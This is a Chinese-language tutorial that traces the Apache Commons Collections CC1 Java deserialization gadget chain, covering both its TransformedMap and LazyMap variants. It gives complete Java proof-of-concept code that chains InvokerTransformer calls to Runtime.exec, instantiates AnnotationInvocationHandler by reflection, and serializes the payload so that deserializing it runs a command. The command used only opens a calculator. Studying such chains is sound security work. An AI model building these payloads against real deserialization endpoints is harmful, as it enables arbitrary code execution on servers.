Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,而正是因为在大量Web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。
Commons-Collections组件反序列化漏洞的反射链也称为CC链,自从Apache Common-Collections组件爆出第一个Java反序列化漏洞后,就像打开了Java安全的新世界大门,之后很多Java中间件相继都爆出反序列化漏洞。
CC链虽然很多条,但是基本上都可以分为前段和后段,重要的承上启下方法是Transformer.transform
jdk8u71之前可以使用AnnotationInvocationHandler作为前段,之后不行
jdk7低版本中无法使用CC5(BadAttributeValueExpException不存在Object)
commons-collections 3.x可以使用LazyMap.decorate作为前段,之后不行
commons-collections 4.0之后可以直接回调PriorityQueue作为前段,之前不行
Commons-Collections ≤ 3.2.1
JDK 1.8.0_65
CC链与URLDNS链一样,起点肯定是某个类的readObject()方法,要可序列化必须重写readObject()方法,接收任意对象作为参数
危险函数执行点:Commons-Collections库中的Transformer接口下的Transform()方法,接着向上回溯,知道找到readObject()方法
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialization(obj);
unserialization();
}
public static void serialization(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

Runtime.getRuntime().exec("open -a Calculator"); // Mac系统下打开计算器
Runtime.getRuntime().exec("calc"); // Windows系统下打开计算器
查看transform()方法
查看transform()方法的实现,这里有两个类,一个是InvokerTransformer,一个是ChainedTransformer

要想使用InvokerTransformer的transform()方法,需要创建InvokerTransformer对象,查看InvokerTransformer的构造函数以及定义的属性

String methodName,调用方法名
Class[] paramTypes,参数类型(数组)
Object[] args,参数值(数组)
实现代码
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
到这里就实现了用InvokerTransformer的transform()方法执行命令,接下来就是寻找还有其他什么地方调用了InvokerTransformer的transform()方法。
接着寻找哪里调用了InvokerTransformer的transform()方法,发现三个类:DefaultedMap、LazyMap和TransformedMap
这里LazyMap和TransformedMap都可以实现,这里先关注TransformedMap下的checkSetValue()方法

要想使用TransformedMap类下面的checkSetValue()方法,需要先创建TransformedMap对象,所有先查看TransformedMap类的属性和构造方法

但是TransformedMap的构造方法是protected修饰的,所以无法从外部访问。接着观察发现decorate()方法,直接返回一个TransformedMap对象
因为checkSetValue()方法也是protected的,无法直接使用,所有接着查找谁调用了TransformedMap类中的checkSetValue()方法
可以看到AbstractInputCheckedMapDecorator类中的静态类MapEntry下的setValue()方法调用了checkSetValue()方法,而TransformedMap中checkSetValue()方法前面的描述也说明了当调用setValue时会自动调用checkSetValue方法
之前查看TransformedMap类发现AbstractInputCheckedMapDecorator是其父类
而Entry是Map类中的一个键值对,在Map的Entry接口中有setValue()方法,所以在对Map进行遍历时就会调用setValue()方法,并且可以看到在AbstractInputCheckedMapDecorator中有对setValue()方法进行实现
所有这里对TransformedMap进行遍历就可以触发setValue()方法进而触发checkSetValue()方法
实现代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value"); // 通过端点调试for循环可以看到,hashMap无值时没有满足for循环条件,直接跳过for循环下面的语句
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
}
}
接下来的思路和之前一样,继续查找哪里又调用了MapEntry的setValue()方法
可以发现在sun.reflect.annotation.AnnotationInvocationHandler中重写的readObject方法发现在调用setValue方法,并且AnnotationInvocationHandler实现了Serializeble接口,所以如果可以直接将AnnotationInvocationHandler序列化,并且通过readObject再实现反序列化即可实现链条利用
与之前一样,要使用readObject()方法需要创建AnnotationInvocationHandler对象,先从属性和构造函数入手
构造函数中第一个参数是集成了注解的Class,第二个是个Map,第二个参数可控,可以转入之前的TransformedMap类,而setValue()的调用点memberValue来源于AnnotationInvocationHandler的类属性memberValues
AnnotationInvocationHandler的修饰符是default,在外部无法直接被实例化,所以只能尝试使用反射进行实例化操作
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
目前CC1的利用链骨架已经有了,代码实现如下
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialization(obj);
unserialization();
}
public static void serialization(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}
利用链中Runtime对象因为Runtime类没有继承Serializable接口,不可以被序列化。
可以利用反射获取Runtime类,它的原型是Class类,而Class类实现了Serializable接口
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method runtimeClassMethod = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) runtimeClassMethod.invoke(null, (Object[]) null);
Method cmdMethod = runtimeClass.getMethod("exec", String.class, String[].class);
cmdMethod.invoke(runtime, "open -a Calculator", null);
```
* 改为InvokerTransformer反射
```
Method getRunmethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
```
* 想办法把这三行InvokerTransformer反射统合起来
```
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
```
* 之前提到的ChainedTransformer类也有transform()方法,刚好遍历传入的对象,整合代码如下
```
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
```
AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。
第一个if判断
第一个if判断是memberType != null,要想通过需要memberType不能为空
向上回溯memberType

回溯上去发现来自于构造函数中的可控参数Class<? extends Annotation> type,memberType是获取注解中成员变量的名称,传入的是Target.class而不是Override.class是因为Override没有成员变量,而Target有成员变量名称是value,所以采用Target标签类

通过调试发现memberTypes为hashmap,hashmap的键名为value,所以name的值应该为value(此时为key)
name是通过调用 memberValue.getKey() 获得的, memberValue 来自于对 memberValues.entrySet() 的遍历,所以需要修改在我们前面构造的map,将键名改为value
第二个if判断
第二个if判断是不能改变出入的value类型,或者是value的类型是ExceptionProxy,这里永远为真,可以通过
AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。
readObject下的setValue()方法中的参数是写死的,需要想办法绕过
可以使用org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class,并且ConstantTransformer也存在transform()方法
如果给ChainedTransformer的transform()方法中传入ConstantTransformer就会调用ConstantTransformer的transform(),传入InvokerTransformer就会调用InvokerTransformer的transform(),所有可以将ConstantTransformer和InvokerTransformer组合到ChainedTransformer中,构建一个转换链,最终实现命令执行
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
```
* 调试调用观察下反序列化过程
1. 调用`ChainedTransformer`的transform(),第一轮的值是`AnnotationTypeMismatchExceptionProxy`类

2. 调用`ConstantTransformer`的transform(),传入的是`AnnotationTypeMismatchExceptionProxy`,返回的是Runtime

3. 获取Runtime的getRuntime方法

4. 最后成功弹出计算器

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
serialization(obj);
unserialization();
}
public static void serialization(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}
LazyMap利用链也是从Transformer接口下的transform()方法入手,接着是InvokerTransformer类实现,再查找哪里调用了transform()方法
定位到LazyMap类,类下面的get方法调用了transform()方法
查看LazyMap的属性和构造方法,与TransformedMap一样,也是protected修饰符,无法直接调用

这里也有个decorate方法,返回LazyMap对象
实现代码如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<String, String> hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);
lazyMap.get(Runtime.getRuntime());
接着需要找哪里调用了get方法
AnnotationInvocationHandler的invoke方法中,调用了memberValue成员变量的get的方法,而memberValue是我们构造方法中传入的一个Map对象

AnnotationInvocationHandler类本身实现了InvocationHandler接口,而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法,所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发
代理用到java.lang.reflect.Proxy类,通过newProxyInstance创建代理对象,传入3个参数,第一个参数是一个ClassLoader,第二个参数是一个代理对象的集合,第三个参数是一个实现了InvocationHandler接口的对象
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
proxyMap是一个Map类型的代理对象,当调用代理对象的任意方法时会先进入到实现了InvocationHandler接口的对象的invoke方法,相当于劫持了一个函数的流程,可以在函数执行之前进进行一些操作
所以只要构造好AnnotationInvocationHandler生成一个代理对象,然后将构造好的AnnotationInvocationHandler放入代理中,当调用代理对象的任意方法时就会进去我们构造好的AnnotationInvocationHandler对象的invoke方法接着触发我们LazyMap的get方法,然后调用我们恶意的ChainedTranformer的transform方法。